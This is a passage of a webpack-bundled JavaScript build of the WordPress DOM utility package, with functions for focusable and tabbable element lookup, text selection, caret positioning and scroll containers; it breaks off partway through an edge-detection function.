/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  __unstableStripHTML: () => (/* reexport */ stripHTML),
  computeCaretRect: () => (/* reexport */ computeCaretRect),
  documentHasSelection: () => (/* reexport */ documentHasSelection),
  documentHasTextSelection: () => (/* reexport */ documentHasTextSelection),
  documentHasUncollapsedSelection: () => (/* reexport */ documentHasUncollapsedSelection),
  focus: () => (/* binding */ build_module_focus),
  getFilesFromDataTransfer: () => (/* reexport */ getFilesFromDataTransfer),
  getOffsetParent: () => (/* reexport */ getOffsetParent),
  getPhrasingContentSchema: () => (/* reexport */ getPhrasingContentSchema),
  getRectangleFromRange: () => (/* reexport */ getRectangleFromRange),
  getScrollContainer: () => (/* reexport */ getScrollContainer),
  insertAfter: () => (/* reexport */ insertAfter),
  isEmpty: () => (/* reexport */ isEmpty),
  isEntirelySelected: () => (/* reexport */ isEntirelySelected),
  isFormElement: () => (/* reexport */ isFormElement),
  isHorizontalEdge: () => (/* reexport */ isHorizontalEdge),
  isNumberInput: () => (/* reexport */ isNumberInput),
  isPhrasingContent: () => (/* reexport */ isPhrasingContent),
  isRTL: () => (/* reexport */ isRTL),
  isSelectionForward: () => (/* reexport */ isSelectionForward),
  isTextContent: () => (/* reexport */ isTextContent),
  isTextField: () => (/* reexport */ isTextField),
  isVerticalEdge: () => (/* reexport */ isVerticalEdge),
  placeCaretAtHorizontalEdge: () => (/* reexport */ placeCaretAtHorizontalEdge),
  placeCaretAtVerticalEdge: () => (/* reexport */ placeCaretAtVerticalEdge),
  remove: () => (/* reexport */ remove),
  removeInvalidHTML: () => (/* reexport */ removeInvalidHTML),
  replace: () => (/* reexport */ replace),
  replaceTag: () => (/* reexport */ replaceTag),
  safeHTML: () => (/* reexport */ safeHTML),
  unwrap: () => (/* reexport */ unwrap),
  wrap: () => (/* reexport */ wrap)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/dom/build-module/focusable.js
var focusable_namespaceObject = {};
__webpack_require__.r(focusable_namespaceObject);
__webpack_require__.d(focusable_namespaceObject, {
  find: () => (find)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/dom/build-module/tabbable.js
var tabbable_namespaceObject = {};
__webpack_require__.r(tabbable_namespaceObject);
__webpack_require__.d(tabbable_namespaceObject, {
  find: () => (tabbable_find),
  findNext: () => (findNext),
  findPrevious: () => (findPrevious),
  isTabbableIndex: () => (isTabbableIndex)
});

;// ./node_modules/@wordpress/dom/build-module/focusable.js
/**
 * References:
 *
 * Focusable:
 *  - https://www.w3.org/TR/html5/editing.html#focus-management
 *
 * Sequential focus navigation:
 *  - https://www.w3.org/TR/html5/editing.html#sequential-focus-navigation-and-the-tabindex-attribute
 *
 * Disabled elements:
 *  - https://www.w3.org/TR/html5/disabled-elements.html#disabled-elements
 *
 * getClientRects algorithm (requiring layout box):
 *  - https://www.w3.org/TR/cssom-view-1/#extension-to-the-element-interface
 *
 * AREA elements associated with an IMG:
 *  - https://w3c.github.io/html/editing.html#data-model
 */

/**
 * Returns a CSS selector used to query for focusable elements.
 *
 * @param {boolean} sequential If set, only query elements that are sequentially
 *                             focusable. Non-interactive elements with a
 *                             negative `tabindex` are focusable but not
 *                             sequentially focusable.
 *                             https://html.spec.whatwg.org/multipage/interaction.html#the-tabindex-attribute
 *
 * @return {string} CSS selector.
 */
function buildSelector(sequential) {
  return [sequential ? '[tabindex]:not([tabindex^="-"])' : '[tabindex]', 'a[href]', 'button:not([disabled])', 'input:not([type="hidden"]):not([disabled])', 'select:not([disabled])', 'textarea:not([disabled])', 'iframe:not([tabindex^="-"])', 'object', 'embed', 'summary', 'area[href]', '[contenteditable]:not([contenteditable=false])'].join(',');
}

/**
 * Returns true if the specified element is visible (i.e. neither display: none
 * nor visibility: hidden).
 *
 * @param {HTMLElement} element DOM element to test.
 *
 * @return {boolean} Whether element is visible.
 */
function isVisible(element) {
  return element.offsetWidth > 0 || element.offsetHeight > 0 || element.getClientRects().length > 0;
}

/**
 * Returns true if the specified area element is a valid focusable element, or
 * false otherwise. Area is only focusable if within a map where a named map
 * referenced by an image somewhere in the document.
 *
 * @param {HTMLAreaElement} element DOM area element to test.
 *
 * @return {boolean} Whether area element is valid for focus.
 */
function isValidFocusableArea(element) {
  /** @type {HTMLMapElement | null} */
  const map = element.closest('map[name]');
  if (!map) {
    return false;
  }

  /** @type {HTMLImageElement | null} */
  const img = element.ownerDocument.querySelector('img[usemap="#' + map.name + '"]');
  return !!img && isVisible(img);
}

/**
 * Returns all focusable elements within a given context.
 *
 * @param {Element} context              Element in which to search.
 * @param {Object}  options
 * @param {boolean} [options.sequential] If set, only return elements that are
 *                                       sequentially focusable.
 *                                       Non-interactive elements with a
 *                                       negative `tabindex` are focusable but
 *                                       not sequentially focusable.
 *                                       https://html.spec.whatwg.org/multipage/interaction.html#the-tabindex-attribute
 *
 * @return {HTMLElement[]} Focusable elements.
 */
function find(context, {
  sequential = false
} = {}) {
  /** @type {NodeListOf<HTMLElement>} */
  const elements = context.querySelectorAll(buildSelector(sequential));
  return Array.from(elements).filter(element => {
    if (!isVisible(element)) {
      return false;
    }
    const {
      nodeName
    } = element;
    if ('AREA' === nodeName) {
      return isValidFocusableArea(/** @type {HTMLAreaElement} */element);
    }
    return true;
  });
}

;// ./node_modules/@wordpress/dom/build-module/tabbable.js
/**
 * Internal dependencies
 */


/**
 * Returns the tab index of the given element. In contrast with the tabIndex
 * property, this normalizes the default (0) to avoid browser inconsistencies,
 * operating under the assumption that this function is only ever called with a
 * focusable node.
 *
 * @see https://bugzilla.mozilla.org/show_bug.cgi?id=1190261
 *
 * @param {Element} element Element from which to retrieve.
 *
 * @return {number} Tab index of element (default 0).
 */
function getTabIndex(element) {
  const tabIndex = element.getAttribute('tabindex');
  return tabIndex === null ? 0 : parseInt(tabIndex, 10);
}

/**
 * Returns true if the specified element is tabbable, or false otherwise.
 *
 * @param {Element} element Element to test.
 *
 * @return {boolean} Whether element is tabbable.
 */
function isTabbableIndex(element) {
  return getTabIndex(element) !== -1;
}

/** @typedef {HTMLElement & { type?: string, checked?: boolean, name?: string }} MaybeHTMLInputElement */

/**
 * Returns a stateful reducer function which constructs a filtered array of
 * tabbable elements, where at most one radio input is selected for a given
 * name, giving priority to checked input, falling back to the first
 * encountered.
 *
 * @return {(acc: MaybeHTMLInputElement[], el: MaybeHTMLInputElement) => MaybeHTMLInputElement[]} Radio group collapse reducer.
 */
function createStatefulCollapseRadioGroup() {
  /** @type {Record<string, MaybeHTMLInputElement>} */
  const CHOSEN_RADIO_BY_NAME = {};
  return function collapseRadioGroup(/** @type {MaybeHTMLInputElement[]} */result, /** @type {MaybeHTMLInputElement} */element) {
    const {
      nodeName,
      type,
      checked,
      name
    } = element;

    // For all non-radio tabbables, construct to array by concatenating.
    if (nodeName !== 'INPUT' || type !== 'radio' || !name) {
      return result.concat(element);
    }
    const hasChosen = CHOSEN_RADIO_BY_NAME.hasOwnProperty(name);

    // Omit by skipping concatenation if the radio element is not chosen.
    const isChosen = checked || !hasChosen;
    if (!isChosen) {
      return result;
    }

    // At this point, if there had been a chosen element, the current
    // element is checked and should take priority. Retroactively remove
    // the element which had previously been considered the chosen one.
    if (hasChosen) {
      const hadChosenElement = CHOSEN_RADIO_BY_NAME[name];
      result = result.filter(e => e !== hadChosenElement);
    }
    CHOSEN_RADIO_BY_NAME[name] = element;
    return result.concat(element);
  };
}

/**
 * An array map callback, returning an object with the element value and its
 * array index location as properties. This is used to emulate a proper stable
 * sort where equal tabIndex should be left in order of their occurrence in the
 * document.
 *
 * @param {HTMLElement} element Element.
 * @param {number}      index   Array index of element.
 *
 * @return {{ element: HTMLElement, index: number }} Mapped object with element, index.
 */
function mapElementToObjectTabbable(element, index) {
  return {
    element,
    index
  };
}

/**
 * An array map callback, returning an element of the given mapped object's
 * element value.
 *
 * @param {{ element: HTMLElement }} object Mapped object with element.
 *
 * @return {HTMLElement} Mapped object element.
 */
function mapObjectTabbableToElement(object) {
  return object.element;
}

/**
 * A sort comparator function used in comparing two objects of mapped elements.
 *
 * @see mapElementToObjectTabbable
 *
 * @param {{ element: HTMLElement, index: number }} a First object to compare.
 * @param {{ element: HTMLElement, index: number }} b Second object to compare.
 *
 * @return {number} Comparator result.
 */
function compareObjectTabbables(a, b) {
  const aTabIndex = getTabIndex(a.element);
  const bTabIndex = getTabIndex(b.element);
  if (aTabIndex === bTabIndex) {
    return a.index - b.index;
  }
  return aTabIndex - bTabIndex;
}

/**
 * Givin focusable elements, filters out tabbable element.
 *
 * @param {HTMLElement[]} focusables Focusable elements to filter.
 *
 * @return {HTMLElement[]} Tabbable elements.
 */
function filterTabbable(focusables) {
  return focusables.filter(isTabbableIndex).map(mapElementToObjectTabbable).sort(compareObjectTabbables).map(mapObjectTabbableToElement).reduce(createStatefulCollapseRadioGroup(), []);
}

/**
 * @param {Element} context
 * @return {HTMLElement[]} Tabbable elements within the context.
 */
function tabbable_find(context) {
  return filterTabbable(find(context));
}

/**
 * Given a focusable element, find the preceding tabbable element.
 *
 * @param {Element} element The focusable element before which to look. Defaults
 *                          to the active element.
 *
 * @return {HTMLElement|undefined} Preceding tabbable element.
 */
function findPrevious(element) {
  return filterTabbable(find(element.ownerDocument.body)).reverse().find(focusable =>
  // eslint-disable-next-line no-bitwise
  element.compareDocumentPosition(focusable) & element.DOCUMENT_POSITION_PRECEDING);
}

/**
 * Given a focusable element, find the next tabbable element.
 *
 * @param {Element} element The focusable element after which to look. Defaults
 *                          to the active element.
 *
 * @return {HTMLElement|undefined} Next tabbable element.
 */
function findNext(element) {
  return filterTabbable(find(element.ownerDocument.body)).find(focusable =>
  // eslint-disable-next-line no-bitwise
  element.compareDocumentPosition(focusable) & element.DOCUMENT_POSITION_FOLLOWING);
}

;// ./node_modules/@wordpress/dom/build-module/utils/assert-is-defined.js
function assertIsDefined(val, name) {
  if (false) {}
}

;// ./node_modules/@wordpress/dom/build-module/dom/get-rectangle-from-range.js
/**
 * Internal dependencies
 */


/**
 * Get the rectangle of a given Range. Returns `null` if no suitable rectangle
 * can be found.
 *
 * @param {Range} range The range.
 *
 * @return {DOMRect?} The rectangle.
 */
function getRectangleFromRange(range) {
  // For uncollapsed ranges, get the rectangle that bounds the contents of the
  // range; this a rectangle enclosing the union of the bounding rectangles
  // for all the elements in the range.
  if (!range.collapsed) {
    const rects = Array.from(range.getClientRects());

    // If there's just a single rect, return it.
    if (rects.length === 1) {
      return rects[0];
    }

    // Ignore tiny selection at the edge of a range.
    const filteredRects = rects.filter(({
      width
    }) => width > 1);

    // If it's full of tiny selections, return browser default.
    if (filteredRects.length === 0) {
      return range.getBoundingClientRect();
    }
    if (filteredRects.length === 1) {
      return filteredRects[0];
    }
    let {
      top: furthestTop,
      bottom: furthestBottom,
      left: furthestLeft,
      right: furthestRight
    } = filteredRects[0];
    for (const {
      top,
      bottom,
      left,
      right
    } of filteredRects) {
      if (top < furthestTop) {
        furthestTop = top;
      }
      if (bottom > furthestBottom) {
        furthestBottom = bottom;
      }
      if (left < furthestLeft) {
        furthestLeft = left;
      }
      if (right > furthestRight) {
        furthestRight = right;
      }
    }
    return new window.DOMRect(furthestLeft, furthestTop, furthestRight - furthestLeft, furthestBottom - furthestTop);
  }
  const {
    startContainer
  } = range;
  const {
    ownerDocument
  } = startContainer;

  // Correct invalid "BR" ranges. The cannot contain any children.
  if (startContainer.nodeName === 'BR') {
    const {
      parentNode
    } = startContainer;
    assertIsDefined(parentNode, 'parentNode');
    const index = /** @type {Node[]} */Array.from(parentNode.childNodes).indexOf(startContainer);
    assertIsDefined(ownerDocument, 'ownerDocument');
    range = ownerDocument.createRange();
    range.setStart(parentNode, index);
    range.setEnd(parentNode, index);
  }
  const rects = range.getClientRects();

  // If we have multiple rectangles for a collapsed range, there's no way to
  // know which it is, so don't return anything.
  if (rects.length > 1) {
    return null;
  }
  let rect = rects[0];

  // If the collapsed range starts (and therefore ends) at an element node,
  // `getClientRects` can be empty in some browsers. This can be resolved
  // by adding a temporary text node with zero-width space to the range.
  //
  // See: https://stackoverflow.com/a/6847328/995445
  if (!rect || rect.height === 0) {
    assertIsDefined(ownerDocument, 'ownerDocument');
    const padNode = ownerDocument.createTextNode('\u200b');
    // Do not modify the live range.
    range = range.cloneRange();
    range.insertNode(padNode);
    rect = range.getClientRects()[0];
    assertIsDefined(padNode.parentNode, 'padNode.parentNode');
    padNode.parentNode.removeChild(padNode);
  }
  return rect;
}

;// ./node_modules/@wordpress/dom/build-module/dom/compute-caret-rect.js
/**
 * Internal dependencies
 */



/**
 * Get the rectangle for the selection in a container.
 *
 * @param {Window} win The window of the selection.
 *
 * @return {DOMRect | null} The rectangle.
 */
function computeCaretRect(win) {
  const selection = win.getSelection();
  assertIsDefined(selection, 'selection');
  const range = selection.rangeCount ? selection.getRangeAt(0) : null;
  if (!range) {
    return null;
  }
  return getRectangleFromRange(range);
}

;// ./node_modules/@wordpress/dom/build-module/dom/document-has-text-selection.js
/**
 * Internal dependencies
 */


/**
 * Check whether the current document has selected text. This applies to ranges
 * of text in the document, and not selection inside `<input>` and `<textarea>`
 * elements.
 *
 * See: https://developer.mozilla.org/en-US/docs/Web/API/Window/getSelection#Related_objects.
 *
 * @param {Document} doc The document to check.
 *
 * @return {boolean} True if there is selection, false if not.
 */
function documentHasTextSelection(doc) {
  assertIsDefined(doc.defaultView, 'doc.defaultView');
  const selection = doc.defaultView.getSelection();
  assertIsDefined(selection, 'selection');
  const range = selection.rangeCount ? selection.getRangeAt(0) : null;
  return !!range && !range.collapsed;
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-html-input-element.js
/* eslint-disable jsdoc/valid-types */
/**
 * @param {Node} node
 * @return {node is HTMLInputElement} Whether the node is an HTMLInputElement.
 */
function isHTMLInputElement(node) {
  /* eslint-enable jsdoc/valid-types */
  return node?.nodeName === 'INPUT';
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-text-field.js
/**
 * Internal dependencies
 */


/* eslint-disable jsdoc/valid-types */
/**
 * Check whether the given element is a text field, where text field is defined
 * by the ability to select within the input, or that it is contenteditable.
 *
 * See: https://html.spec.whatwg.org/#textFieldSelection
 *
 * @param {Node} node The HTML element.
 * @return {node is HTMLElement} True if the element is an text field, false if not.
 */
function isTextField(node) {
  /* eslint-enable jsdoc/valid-types */
  const nonTextInputs = ['button', 'checkbox', 'hidden', 'file', 'radio', 'image', 'range', 'reset', 'submit', 'number', 'email', 'time'];
  return isHTMLInputElement(node) && node.type && !nonTextInputs.includes(node.type) || node.nodeName === 'TEXTAREA' || /** @type {HTMLElement} */node.contentEditable === 'true';
}

;// ./node_modules/@wordpress/dom/build-module/dom/input-field-has-uncollapsed-selection.js
/**
 * Internal dependencies
 */



/**
 * Check whether the given input field or textarea contains a (uncollapsed)
 * selection of text.
 *
 * CAVEAT: Only specific text-based HTML inputs support the selection APIs
 * needed to determine whether they have a collapsed or uncollapsed selection.
 * This function defaults to returning `true` when the selection cannot be
 * inspected, such as with `<input type="time">`. The rationale is that this
 * should cause the block editor to defer to the browser's native selection
 * handling (e.g. copying and pasting), thereby reducing friction for the user.
 *
 * See: https://html.spec.whatwg.org/multipage/input.html#do-not-apply
 *
 * @param {Element} element The HTML element.
 *
 * @return {boolean} Whether the input/textareaa element has some "selection".
 */
function inputFieldHasUncollapsedSelection(element) {
  if (!isHTMLInputElement(element) && !isTextField(element)) {
    return false;
  }

  // Safari throws a type error when trying to get `selectionStart` and
  // `selectionEnd` on non-text <input> elements, so a try/catch construct is
  // necessary.
  try {
    const {
      selectionStart,
      selectionEnd
    } = /** @type {HTMLInputElement | HTMLTextAreaElement} */element;
    return (
      // `null` means the input type doesn't implement selection, thus we
      // cannot determine whether the selection is collapsed, so we
      // default to true.
      selectionStart === null ||
      // when not null, compare the two points
      selectionStart !== selectionEnd
    );
  } catch (error) {
    // This is Safari's way of saying that the input type doesn't implement
    // selection, so we default to true.
    return true;
  }
}

;// ./node_modules/@wordpress/dom/build-module/dom/document-has-uncollapsed-selection.js
/**
 * Internal dependencies
 */



/**
 * Check whether the current document has any sort of (uncollapsed) selection.
 * This includes ranges of text across elements and any selection inside
 * textual `<input>` and `<textarea>` elements.
 *
 * @param {Document} doc The document to check.
 *
 * @return {boolean} Whether there is any recognizable text selection in the document.
 */
function documentHasUncollapsedSelection(doc) {
  return documentHasTextSelection(doc) || !!doc.activeElement && inputFieldHasUncollapsedSelection(doc.activeElement);
}

;// ./node_modules/@wordpress/dom/build-module/dom/document-has-selection.js
/**
 * Internal dependencies
 */




/**
 * Check whether the current document has a selection. This includes focus in
 * input fields, textareas, and general rich-text selection.
 *
 * @param {Document} doc The document to check.
 *
 * @return {boolean} True if there is selection, false if not.
 */
function documentHasSelection(doc) {
  return !!doc.activeElement && (isHTMLInputElement(doc.activeElement) || isTextField(doc.activeElement) || documentHasTextSelection(doc));
}

;// ./node_modules/@wordpress/dom/build-module/dom/get-computed-style.js
/**
 * Internal dependencies
 */


/* eslint-disable jsdoc/valid-types */
/**
 * @param {Element} element
 * @return {ReturnType<Window['getComputedStyle']>} The computed style for the element.
 */
function getComputedStyle(element) {
  /* eslint-enable jsdoc/valid-types */
  assertIsDefined(element.ownerDocument.defaultView, 'element.ownerDocument.defaultView');
  return element.ownerDocument.defaultView.getComputedStyle(element);
}

;// ./node_modules/@wordpress/dom/build-module/dom/get-scroll-container.js
/**
 * Internal dependencies
 */


/**
 * Given a DOM node, finds the closest scrollable container node or the node
 * itself, if scrollable.
 *
 * @param {Element | null} node      Node from which to start.
 * @param {?string}        direction Direction of scrollable container to search for ('vertical', 'horizontal', 'all').
 *                                   Defaults to 'vertical'.
 * @return {Element | undefined} Scrollable container node, if found.
 */
function getScrollContainer(node, direction = 'vertical') {
  if (!node) {
    return undefined;
  }
  if (direction === 'vertical' || direction === 'all') {
    // Scrollable if scrollable height exceeds displayed...
    if (node.scrollHeight > node.clientHeight) {
      // ...except when overflow is defined to be hidden or visible
      const {
        overflowY
      } = getComputedStyle(node);
      if (/(auto|scroll)/.test(overflowY)) {
        return node;
      }
    }
  }
  if (direction === 'horizontal' || direction === 'all') {
    // Scrollable if scrollable width exceeds displayed...
    if (node.scrollWidth > node.clientWidth) {
      // ...except when overflow is defined to be hidden or visible
      const {
        overflowX
      } = getComputedStyle(node);
      if (/(auto|scroll)/.test(overflowX)) {
        return node;
      }
    }
  }
  if (node.ownerDocument === node.parentNode) {
    return node;
  }

  // Continue traversing.
  return getScrollContainer(/** @type {Element} */node.parentNode, direction);
}

;// ./node_modules/@wordpress/dom/build-module/dom/get-offset-parent.js
/**
 * Internal dependencies
 */


/**
 * Returns the closest positioned element, or null under any of the conditions
 * of the offsetParent specification. Unlike offsetParent, this function is not
 * limited to HTMLElement and accepts any Node (e.g. Node.TEXT_NODE).
 *
 * @see https://drafts.csswg.org/cssom-view/#dom-htmlelement-offsetparent
 *
 * @param {Node} node Node from which to find offset parent.
 *
 * @return {Node | null} Offset parent.
 */
function getOffsetParent(node) {
  // Cannot retrieve computed style or offset parent only anything other than
  // an element node, so find the closest element node.
  let closestElement;
  while (closestElement = /** @type {Node} */node.parentNode) {
    if (closestElement.nodeType === closestElement.ELEMENT_NODE) {
      break;
    }
  }
  if (!closestElement) {
    return null;
  }

  // If the closest element is already positioned, return it, as offsetParent
  // does not otherwise consider the node itself.
  if (getComputedStyle(/** @type {Element} */closestElement).position !== 'static') {
    return closestElement;
  }

  // offsetParent is undocumented/draft.
  return /** @type {Node & { offsetParent: Node }} */closestElement.offsetParent;
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-input-or-text-area.js
/* eslint-disable jsdoc/valid-types */
/**
 * @param {Element} element
 * @return {element is HTMLInputElement | HTMLTextAreaElement} Whether the element is an input or textarea
 */
function isInputOrTextArea(element) {
  /* eslint-enable jsdoc/valid-types */
  return element.tagName === 'INPUT' || element.tagName === 'TEXTAREA';
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-entirely-selected.js
/**
 * Internal dependencies
 */



/**
 * Check whether the contents of the element have been entirely selected.
 * Returns true if there is no possibility of selection.
 *
 * @param {HTMLElement} element The element to check.
 *
 * @return {boolean} True if entirely selected, false if not.
 */
function isEntirelySelected(element) {
  if (isInputOrTextArea(element)) {
    return element.selectionStart === 0 && element.value.length === element.selectionEnd;
  }
  if (!element.isContentEditable) {
    return true;
  }
  const {
    ownerDocument
  } = element;
  const {
    defaultView
  } = ownerDocument;
  assertIsDefined(defaultView, 'defaultView');
  const selection = defaultView.getSelection();
  assertIsDefined(selection, 'selection');
  const range = selection.rangeCount ? selection.getRangeAt(0) : null;
  if (!range) {
    return true;
  }
  const {
    startContainer,
    endContainer,
    startOffset,
    endOffset
  } = range;
  if (startContainer === element && endContainer === element && startOffset === 0 && endOffset === element.childNodes.length) {
    return true;
  }
  const lastChild = element.lastChild;
  assertIsDefined(lastChild, 'lastChild');
  const endContainerContentLength = endContainer.nodeType === endContainer.TEXT_NODE ? /** @type {Text} */endContainer.data.length : endContainer.childNodes.length;
  return isDeepChild(startContainer, element, 'firstChild') && isDeepChild(endContainer, element, 'lastChild') && startOffset === 0 && endOffset === endContainerContentLength;
}

/**
 * Check whether the contents of the element have been entirely selected.
 * Returns true if there is no possibility of selection.
 *
 * @param {HTMLElement|Node}         query     The element to check.
 * @param {HTMLElement}              container The container that we suspect "query" may be a first or last child of.
 * @param {"firstChild"|"lastChild"} propName  "firstChild" or "lastChild"
 *
 * @return {boolean} True if query is a deep first/last child of container, false otherwise.
 */
function isDeepChild(query, container, propName) {
  /** @type {HTMLElement | ChildNode | null} */
  let candidate = container;
  do {
    if (query === candidate) {
      return true;
    }
    candidate = candidate[propName];
  } while (candidate);
  return false;
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-form-element.js
/**
 * Internal dependencies
 */


/**
 *
 * Detects if element is a form element.
 *
 * @param {Element} element The element to check.
 *
 * @return {boolean} True if form element and false otherwise.
 */
function isFormElement(element) {
  if (!element) {
    return false;
  }
  const {
    tagName
  } = element;
  const checkForInputTextarea = isInputOrTextArea(element);
  return checkForInputTextarea || tagName === 'BUTTON' || tagName === 'SELECT';
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-rtl.js
/**
 * Internal dependencies
 */


/**
 * Whether the element's text direction is right-to-left.
 *
 * @param {Element} element The element to check.
 *
 * @return {boolean} True if rtl, false if ltr.
 */
function isRTL(element) {
  return getComputedStyle(element).direction === 'rtl';
}

;// ./node_modules/@wordpress/dom/build-module/dom/get-range-height.js
/**
 * Gets the height of the range without ignoring zero width rectangles, which
 * some browsers ignore when creating a union.
 *
 * @param {Range} range The range to check.
 * @return {number | undefined} Height of the range or undefined if the range has no client rectangles.
 */
function getRangeHeight(range) {
  const rects = Array.from(range.getClientRects());
  if (!rects.length) {
    return;
  }
  const highestTop = Math.min(...rects.map(({
    top
  }) => top));
  const lowestBottom = Math.max(...rects.map(({
    bottom
  }) => bottom));
  return lowestBottom - highestTop;
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-selection-forward.js
/**
 * Internal dependencies
 */


/**
 * Returns true if the given selection object is in the forward direction, or
 * false otherwise.
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/API/Node/compareDocumentPosition
 *
 * @param {Selection} selection Selection object to check.
 *
 * @return {boolean} Whether the selection is forward.
 */
function isSelectionForward(selection) {
  const {
    anchorNode,
    focusNode,
    anchorOffset,
    focusOffset
  } = selection;
  assertIsDefined(anchorNode, 'anchorNode');
  assertIsDefined(focusNode, 'focusNode');
  const position = anchorNode.compareDocumentPosition(focusNode);

  // Disable reason: `Node#compareDocumentPosition` returns a bitmask value,
  // so bitwise operators are intended.
  /* eslint-disable no-bitwise */
  // Compare whether anchor node precedes focus node. If focus node (where
  // end of selection occurs) is after the anchor node, it is forward.
  if (position & anchorNode.DOCUMENT_POSITION_PRECEDING) {
    return false;
  }
  if (position & anchorNode.DOCUMENT_POSITION_FOLLOWING) {
    return true;
  }
  /* eslint-enable no-bitwise */

  // `compareDocumentPosition` returns 0 when passed the same node, in which
  // case compare offsets.
  if (position === 0) {
    return anchorOffset <= focusOffset;
  }

  // This should never be reached, but return true as default case.
  return true;
}

;// ./node_modules/@wordpress/dom/build-module/dom/caret-range-from-point.js
/**
 * Polyfill.
 * Get a collapsed range for a given point.
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/API/Document/caretRangeFromPoint
 *
 * @param {DocumentMaybeWithCaretPositionFromPoint} doc The document of the range.
 * @param {number}                                  x   Horizontal position within the current viewport.
 * @param {number}                                  y   Vertical position within the current viewport.
 *
 * @return {Range | null} The best range for the given point.
 */
function caretRangeFromPoint(doc, x, y) {
  if (doc.caretRangeFromPoint) {
    return doc.caretRangeFromPoint(x, y);
  }
  if (!doc.caretPositionFromPoint) {
    return null;
  }
  const point = doc.caretPositionFromPoint(x, y);

  // If x or y are negative, outside viewport, or there is no text entry node.
  // https://developer.mozilla.org/en-US/docs/Web/API/Document/caretRangeFromPoint
  if (!point) {
    return null;
  }
  const range = doc.createRange();
  range.setStart(point.offsetNode, point.offset);
  range.collapse(true);
  return range;
}

/**
 * @typedef {{caretPositionFromPoint?: (x: number, y: number)=> CaretPosition | null} & Document } DocumentMaybeWithCaretPositionFromPoint
 * @typedef {{ readonly offset: number; readonly offsetNode: Node; getClientRect(): DOMRect | null; }} CaretPosition
 */

;// ./node_modules/@wordpress/dom/build-module/dom/hidden-caret-range-from-point.js
/**
 * Internal dependencies
 */



/**
 * Get a collapsed range for a given point.
 * Gives the container a temporary high z-index (above any UI).
 * This is preferred over getting the UI nodes and set styles there.
 *
 * @param {Document}    doc       The document of the range.
 * @param {number}      x         Horizontal position within the current viewport.
 * @param {number}      y         Vertical position within the current viewport.
 * @param {HTMLElement} container Container in which the range is expected to be found.
 *
 * @return {?Range} The best range for the given point.
 */
function hiddenCaretRangeFromPoint(doc, x, y, container) {
  const originalZIndex = container.style.zIndex;
  const originalPosition = container.style.position;
  const {
    position = 'static'
  } = getComputedStyle(container);

  // A z-index only works if the element position is not static.
  if (position === 'static') {
    container.style.position = 'relative';
  }
  container.style.zIndex = '10000';
  const range = caretRangeFromPoint(doc, x, y);
  container.style.zIndex = originalZIndex;
  container.style.position = originalPosition;
  return range;
}

;// ./node_modules/@wordpress/dom/build-module/dom/scroll-if-no-range.js
/**
 * If no range range can be created or it is outside the container, the element
 * may be out of view, so scroll it into view and try again.
 *
 * @param {HTMLElement} container  The container to scroll.
 * @param {boolean}     alignToTop True to align to top, false to bottom.
 * @param {Function}    callback   The callback to create the range.
 *
 * @return {?Range} The range returned by the callback.
 */
function scrollIfNoRange(container, alignToTop, callback) {
  let range = callback();

  // If no range range can be created or it is outside the container, the
  // element may be out of view.
  if (!range || !range.startContainer || !container.contains(range.startContainer)) {
    container.scrollIntoView(alignToTop);
    range = callback();
    if (!range || !range.startContainer || !container.contains(range.startContainer)) {
      return null;
    }
  }
  return range;
}

;// ./node_modules/@wordpress/dom/build-module/dom/is-edge.js
/**
 * Internal dependencies
 */









/**
 * Check whether the selection is at the edge of the container. Checks for
 * horizontal position by default. Set `onlyVertical` to true to check only
 * vertically.
 *
 * @param {HTMLElement} container            Focusable element.
 * @param {boolean}     isReverse            Set to true to check left, false to check right.
 * @param {boolean}     [onlyVertical=false] Set to true to check only vertical position.
 *
 * @return {boolean} True if at the edge, false if not.
 */
function isEdge(container, isReverse, onlyVertical = false) {
  if (isInputOrTextArea(container) && typeof container.selectionStart === 'number') {
    if (container.selectionStart !== container.selectionEnd) {
      return false;
    }
    if (isReverse) {
      return container.selectionStart === 0;
    }
    return container.value.length === container.selectionStart;
  }
  if (!container.isContentEditable) {
    return true;
  }
  const {
    ownerDocument
  } = container;
  const {
    defaultView
  } = ownerDocument;
  assertIsDefined(defaultView, 'defaultView');
  const selection = defaultView.getSelection();
  if (!selection || !selection.rangeCount) {
    return false;
  }
  const range = selection.getRangeAt(0);
  const collapsedRange = range.cloneRange();
  const isForward = isSelectionForward(selection);
  const isCollapsed = selection.isCollapsed;

  // Collapse in direction of selection.
  if (!isCollapsed) {
    collapsedRange.collapse(!isForward);
  }
  const collapsedRangeRect = getRectangleFromRange(collapsedRange);
  const rangeRect = getRectangleFromRange(range);
  if (!collapsedRangeRect || !rangeRect) {
    return false;
  }

  // Only consider the multiline selection at the edge if the direction is
  // towards the edge. The selection is multiline if it is taller than the
  // collapsed  selection.
  const rangeHeight = getRangeHeight(range);
  if (!isCollapsed && rangeHeight && rangeHeight > collapsedRangeRect.height && isForward === isReverse) {
    return false;
  }

  // In the case of RTL scripts, the horizontal edge is at the opposite side.
  const isReverseDir = isRTL(container) ? !isReverse : isReverse;
